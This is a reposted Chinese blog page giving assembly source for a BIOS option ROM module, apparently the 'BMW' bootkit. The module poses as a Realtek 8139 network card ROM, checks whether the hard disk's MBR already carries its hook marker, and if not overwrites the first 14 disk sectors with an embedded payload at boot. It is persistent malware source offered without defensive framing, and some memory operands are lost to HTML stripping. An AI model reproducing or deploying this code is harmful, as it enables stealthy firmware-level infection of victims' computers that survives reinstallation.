[轉載]BMW(ISA代碼)
<span class="Apple-style-span" style="color: rgb(255, 255, 255); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; background-color: rgb(20, 20, 20); "><a href="http://0mblogger.blogspot.com/2011/09/bmwisa.html" target="_blank">http://0mblogger.blogspot.com/2011/09/bmwisa.html</a>[轉載]BMW(ISA代碼)<div class="post-header" style="line-height: 1.6; margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; "><div class="post-header-line-1"></div></div><div class="post-body entry-content" id="post-body-2751380344167953446" style="width: 536px; position: relative; line-height: 1.4; "><div style="text-align: center; ">作者:foxmain</div><div style="text-align: left; "></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "> org 0h ; 运行于BIOS中</div><div style="text-align: left; "> db 55h,0AAh ; ISA模块头</div><div style="text-align: left; "> db 15 ; 大小为 15*512字节</div><div style="text-align: left; "><br></div><div style="text-align: left; "> jmp MyROMCodeStart</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; "><br></div><div style="text-align: left; ">;db 0bh</div><div style="text-align: left; ">;db 6dh</div><div style="text-align: left; ">;db 03h</div><div style="text-align: left; "> times 18 db 0h</div><div style="text-align: left; ">;dd 400020h,8b2e0060h,4e5590c0h</div><div style="text-align: left; ">;dd a7164944h</div><div style="text-align: left; ">;dd A7h</div><div style="text-align: left; ">;db 44h,49h,16h</div><div style="text-align: left; ">;db 167</div><div style="text-align: left; ">;dd 2010000h,8000cc5h</div><div style="text-align: left; ">dw 001ch; PCI數據結構起始偏移 00h</div><div style="text-align: left; ">dw 0034h; PCI數據結構結束偏移 02h </div><div style="text-align: left; ">dd 52494350h; PCIR(pci rom)標誌 04h </div><div style="text-align: left; ">dw 10ech; 供應商ID 08h </div><div style="text-align: left; ">dw 8139h; 設備ID(網卡8139) 0ah </div><div style="text-align: left; ">dw 0000; 保留 0ch </div><div style="text-align: left; ">dw 0018h; PCI數據結構長度 0eh </div><div style="text-align: left; ">db 00h; PCI數據結構修訂版 10h</div><div style="text-align: left; ">db 02,00,00; 類別代碼 </div><div style="text-align: left; ">dw 0008h; 代碼長度</div><div style="text-align: left; ">dw 0201h; 代碼/數據修訂版本水平</div><div style="text-align: left; ">db 00; 代碼類型(0表示可執行代碼)</div><div style="text-align: left; ">db 80h; 指示字節 </div><div style="text-align: left; ">dw 0000h; 保留</div><div style="text-align: left; ">dd 506e5024h,201h,6500h,0,20000h,6400h,0,0;</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; "><br></div><div style="text-align: left; ">MyROMCodeStart:</div><div style="text-align: left; "> pushf ;</div><div style="text-align: left; "> pushad ;PCI設備規範中說明,除了返回值以外,其它的參數必需恢復</div><div style="text-align: left; "> push es</div><div style="text-align: left; "> push ds</div><div style="text-align: left; "><br></div><div style="text-align: left; ">; ret</div><div style="text-align: left; "> cld</div><div style="text-align: left; "> call x_code ; 跳轉到程序進入點</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;------------------------------------------------------------------------</div><div style="text-align: left; ">incbin "dst_sectors.dat";;;需要復制的數據</div><div style="text-align: left; ">;------------------------------------------------------------------------</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;oxfb9cd</div><div style="text-align: left; ">;0xfb8ed</div><div style="text-align: left; ">x_code:</div><div style="text-align: left; "> pop ax</div><div style="text-align: left; "> xor bx,bx</div><div style="text-align: left; "> push bx</div><div style="text-align: left; "> pop es</div><div style="text-align: left; "> push cs </div><div style="text-align: left; "> pop ds </div><div style="text-align: left; "> mov si, ax</div><div style="text-align: left; "> mov di, 7c00h </div><div style="text-align: left; "> mov cx, 1c00h</div><div style="text-align: left; "> rep movsb ;將需要復制的文件拷貝到7c00h處</div><div style="text-align: left; "> mov ds,bx</div><div style="text-align: left; "> mov ah, 41h</div><div style="text-align: left; "> mov dl, 80h</div><div style="text-align: left; "> mov bx, 55AAh</div><div style="text-align: left; "> int 13h ;檢測是否支持擴展的BIOS int 13h功能</div><div style="text-align: left; "> cmp bx, 0AA55h</div><div style="text-align: left; "> jnz __Exit</div><div style="text-align: left; "> test cl, 1</div><div style="text-align: left; "> jz __Exit</div><div style="text-align: left; "><br></div><div style="text-align: left; "> call __Estimate_MBR;判斷MBR是否以經被HOOK </div><div style="text-align: left; "> test ax,ax</div><div style="text-align: left; "> jnz __Exit; 如果被HOOK了或者讀取錯誤退出</div><div style="text-align: left; "> mov ax,7c00h </div><div style="text-align: left; "> mov ecx,0</div><div style="text-align: left; "> mov dx,14</div><div style="text-align: left; "> call __Write_sectors</div><div style="text-align: left; "><br></div><div style="text-align: left; ">__Exit:</div><div style="text-align: left; "> pop ds</div><div style="text-align: left; "> pop es</div><div style="text-align: left; "> popad</div><div style="text-align: left; "> popf</div><div style="text-align: left; "> retf</div><div style="text-align: left; "><br></div><div style="text-align: left; "><br></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; "><br></div><div style="text-align: left; ">;=============================================================</div><div style="text-align: left; "></div><div style="text-align: left; ">; 需要將名稱變為大寫 </div><div style="text-align: left; ">; 輸入:ES:EDI = 字符串CX = 字符串長度(寬字符串) </div><br><div style="text-align: left; ">;</div><div style="text-align: left; ">;=============================================================</div><div style="text-align: left; ">ToUpperCase:</div><div style="text-align: left; "> PUSH ECX</div><div style="text-align: left; "> PUSH EBX</div><div style="text-align: left; "> XOR EBX,EBX</div><div style="text-align: left; "> TEST CX,CX</div><div style="text-align: left; "> JZ .End ; CX = 0</div><div style="text-align: left; "> </div><div style="text-align: left; "> ; 目前只處理 a-z => A-Z </div><div style="text-align: left; ">.CheckNextChar:</div><div style="text-align: left; "> CMP WORD,0061H</div><div style="text-align: left; "> JB .NextChar</div><div style="text-align: left; "> CMP WORD,007AH</div><div style="text-align: left; "> JA .NextChar</div><div style="text-align: left; "> </div><div style="text-align: left; "> ; a < ch < z</div><div style="text-align: left; "> SUB WORD,20H</div><div style="text-align: left; "> </div><div style="text-align: left; ">.NextChar: </div><div style="text-align: left; "> ; 繼續處理下一個字符</div><div style="text-align: left; "> INC EBX</div><div style="text-align: left; "> INC EBX</div><div style="text-align: left; "> DEC CX</div><div style="text-align: left; "> JNZ .CheckNextChar</div><div style="text-align: left; "><br></div><div style="text-align: left; ">.End:</div><div style="text-align: left; "> ; 返回</div><div style="text-align: left; "> POP EBX</div><div style="text-align: left; "> POP ECX</div><div style="text-align: left; "> RET</div><div style="text-align: left; "> </div><div style="text-align: left; "> </div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</div><div style="text-align: left; ">;function : write sectors </div><div style="text-align: left; ">;vars : ax = offset of the buffer,dx = cnt of sectors to write,ecx = start sector No. </div><div style="text-align: left; ">;data: 2009-5-23</div><div style="text-align: left; ">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</div><div style="text-align: left; ">__Write_sectors:</div><div style="text-align: left; "> push si</div><div style="text-align: left; "> push di</div><div style="text-align: left; "> xor bx,bx</div><div style="text-align: left; "> push bx</div><div style="text-align: left; "> pop ds</div><div style="text-align: left; "> mov si,97F0h</div><div style="text-align: left; "> mov ,word 0010h</div><div style="text-align: left; "> mov ,dx;寫dx個扇區的數據 </div><div style="text-align: left; "> mov ,ax</div><div style="text-align: left; "> mov ,byte 0000h</div><div style="text-align: left; "> mov ,ecx;從第ecx個扇區開始寫入</div><div style="text-align: left; "> mov ecx,0004h</div><div style="text-align: left; "> mov di,97FCh</div><div style="text-align: left; ">_fill_zero1:</div><div style="text-align: left; "> mov ,byte 00h</div><div style="text-align: left; "> inc di</div><div style="text-align: left; "> loop _fill_zero1</div><div style="text-align: left; "> mov ax,4300h</div><div style="text-align: left; "> mov dl,80h</div><div style="text-align: left; "> int 13h</div><div style="text-align: left; "> jnb _normal_write</div><div style="text-align: left; "> mov ax,0ffffh</div><div style="text-align: left; ">_normal_write:</div><div style="text-align: left; "> pop di</div><div style="text-align: left; "> pop si </div><div style="text-align: left; "> ret</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</div><div style="text-align: left; ">;function : __Estimate_MBR </div><div style="text-align: left; ">;date : 2009-05-26</div><div style="text-align: left; ">;if hooked return true else return false</div><div style="text-align: left; ">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</div><div style="text-align: left; "><br></div><div style="text-align: left; ">__Estimate_MBR:</div><div style="text-align: left; "> mov ax,0x8A00 ;7c00+e00</div><div style="text-align: left; "> mov dx,1;需要讀取的扇區數</div><div style="text-align: left; "> mov ecx,0;開始讀的起始扇區</div><div style="text-align: left; "> push ax</div><div style="text-align: left; "> call __Read_sectors;讀0扇區的內容</div><div style="text-align: left; "> pop si</div><div style="text-align: left; "> cmp ax,0xffff</div><div style="text-align: left; "> jz _erro_read</div><div style="text-align: left; "> mov ax, ;7c00+1FE</div><div style="text-align: left; "> cmp ax,0xAA55</div><div style="text-align: left; "> jnz FindSign </div><div style="text-align: left; "> mov eax, ;7c00+e00+192</div><div style="text-align: left; "> cmp eax,0x31746E69;;HOOK標誌</div><div style="text-align: left; "> jz FindSign</div><div style="text-align: left; "> mov ax,0</div><div style="text-align: left; "> jmp NotHook</div><div style="text-align: left; ">FindSign:</div><div style="text-align: left; "> mov ax,1</div><div style="text-align: left; "> jmp _erro_read</div><div style="text-align: left; ">NotHook:</div><div style="text-align: left; "> mov si,0x8B80 ;7c00+e00+180</div><div style="text-align: left; "> mov di,0x7d80 ;7c00+180</div><div style="text-align: left; "> mov cx,0x80</div><div style="text-align: left; "> rep movsb ;複製分區表到0x7c00+0x180處 </div><div style="text-align: left; ">_erro_read:</div><div style="text-align: left; "> ret</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</div><div style="text-align: left; ">;function : read sectors </div><div style="text-align: left; ">;vars : ax = offset of the buffer,dx = cnt of sectors to read,ecx = start sector No. </div><div style="text-align: left; ">;updata: 2009-5-23</div><div style="text-align: left; ">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</div><div style="text-align: left; "><br></div><div style="text-align: left; ">__Read_sectors:</div><div style="text-align: left; "> push si</div><div style="text-align: left; "> push di</div><div style="text-align: left; "> xor bx,bx</div><div style="text-align: left; "> push bx</div><div style="text-align: left; "> pop ds </div><div style="text-align: left; "> </div><div style="text-align: left; "> mov si,97F0h</div><div style="text-align: left; "> mov ,word 0010h</div><div style="text-align: left; "> mov ,dx;讀取dx個扇區的數據</div><div style="text-align: left; "> mov ,ax</div><div style="text-align: left; "> mov ,byte 0000h</div><div style="text-align: left; "> mov ,ecx ;從第ecx個扇區開始讀取。</div><div style="text-align: left; "> mov ecx,0004h</div><div style="text-align: left; "> mov di,97FCh</div><div style="text-align: left; ">_fill_zero:</div><div style="text-align: left; "> mov ,byte 00h</div><div style="text-align: left; "> inc di</div><div style="text-align: left; "> loop _fill_zero</div><div style="text-align: left; "> mov ax,4200h</div><div style="text-align: left; "> mov dl,80h</div><div style="text-align: left; "> int 13h</div><div style="text-align: left; "> jnb _normal_read</div><div style="text-align: left; "> mov ax,0ffffh</div><div style="text-align: left; ">_normal_read:</div><div style="text-align: left; "> pop di</div><div style="text-align: left; "> pop si </div><div style="text-align: left; "> ret</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "> </div><div style="text-align: left; ">WaitPressScrollKey:</div><div style="text-align: left; "> push ax</div><div style="text-align: left; ">s0:</div><div style="text-align: left; "> in al,60h</div><div style="text-align: left; "> cmp al,0x46 ;Scroll Lock鍵掃描碼:46h</div><div style="text-align: left; "> jnz s1 </div><div style="text-align: left; "> stc </div><div style="text-align: left; "> pop ax</div><div style="text-align: left; "> ret</div><div style="text-align: left; ">s1:</div><div style="text-align: left; "> in al,61h</div><div style="text-align: left; "> test al,010h</div><div style="text-align: left; "> jnz s2</div><div style="text-align: left; ">con:</div><div style="text-align: left; "> in al,61h</div><div style="text-align: left; "> test al,10h</div><div style="text-align: left; "> jz con</div><div style="text-align: left; "> dec cx</div><div style="text-align: left; ">s2:</div><div style="text-align: left; "> or cx,cx</div><div style="text-align: left; "> jnz s0</div><div style="text-align: left; "> clc</div><div style="text-align: left; "> pop ax</div><div style="text-align: left; "> ret</div><div style="text-align: left; ">times 7680-($-$$) db 0 ; 添加文件至7680字節大小</div></div></span>
页:
[1]